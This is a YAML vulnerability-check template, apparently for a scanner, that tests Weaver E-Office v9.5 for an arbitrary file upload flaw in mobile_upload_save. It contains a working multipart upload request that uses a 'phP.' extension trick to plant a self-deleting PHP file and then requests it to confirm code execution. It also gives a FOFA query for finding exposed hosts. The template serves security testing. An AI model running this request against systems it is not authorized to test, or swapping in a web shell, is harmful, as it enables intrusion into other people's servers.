eoffice-v9-mobile-upload-save-fileupload: 泛微 E-Office v9.5 mobile_upload_save 任意文件上传漏洞

id: eoffice-v9-mobile-upload-save-fileupload

info:
  name: 泛微 E-Office v9.5 mobile_upload_save 任意文件上传漏洞
  author: zan8in
  severity: critical
  verified: true
  description: |
    weaver E-Office v9.5 file upload vulnerability official website:https://www.e-office.cn/
    FOFA: app="泛微-EOffice"
  reference:
    - https://github.com/sunyixuan1228/cve/blob/main/weaver.md?ref=www.ctfiot.com
    - https://www.ctfiot.com/116750.html
  tags: eoffice,ecology,fileupload
  created: 2023/07/11

set:
  randstr: randomLowercase(4)
  randbody: randomLowercase(32)
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: "\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"upload_quwan\";filename=\"uploadsavex.phP.\"\r\n\
        Content-Type: image/jpeg\r\n\
        \r\n\
        <?php echo \"{{randbody}}\";unlink(__FILE__);?>\r\n\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"file\"; filename=\"\"\r\n\
        Content-Type: application/octet-stream\r\n\
        \r\n\
        ------WebKitFormBoundary{{rboundary}}--\r\n\
        "
    expression: response.status == 200 && response.body.bcontains(b'"uploadsavex.phP."')
    output:
      search: '"\",(?P<filename>[0-9]{10}),\"uploadsavex.phP".bsubmatch(response.body)'
      filename: search["filename"]
  r1:
    request:
      method: GET
      path: /attachment/{{filename}}/uploadsavex.phP
    expression: response.status == 200 && response.body.bcontains(bytes(randbody))
expression: r0() && r1()